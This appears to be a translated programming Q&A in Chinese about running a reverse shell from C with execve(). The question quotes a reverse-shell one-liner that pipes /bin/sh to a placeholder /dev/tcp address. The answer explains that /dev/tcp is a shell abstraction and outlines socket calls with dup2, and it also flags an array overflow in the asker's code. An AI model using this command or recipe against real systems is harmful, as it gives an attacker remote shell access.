使用execve()执行反向shell

时间:2017-07-04 22:07:52

标签: c execve reverse-shell

我需要使用execve运行反向shell。我知道如何从命令行运行它,如下所示:

$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1

我可以按如下方式运行/bin/sh调用的简单版本:

#include <stdio.h>

int main() {

   char *args[2];
   args[0] = "/bin/sh";
   args[1] = "-i";
   args[2] = NULL;

   execve(args[0], args, NULL);
}

我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1指定为args数组中的单个元素。当我运行它时会报告Can't open >

我提到的反向shell命令是否可以通过execve()执行?如果是这样,那么正确的做法是什么?感谢。

1 个答案:

答案 0 :(得分:1)

/dev/tcp/*/*文件不存在。它们是一种仅存在于某些shell中的抽象(bash,ksh)。您需要在C程序中进行常规套接字编程(socketbindlistenaccept,然后dup2标准IO上的套接字你产生的shell的描述符)。

您还应该修复数组中的溢出。 诸如char *args[] = { "/bin/sh", "-i", 0 };之类的初始化应该不易出错。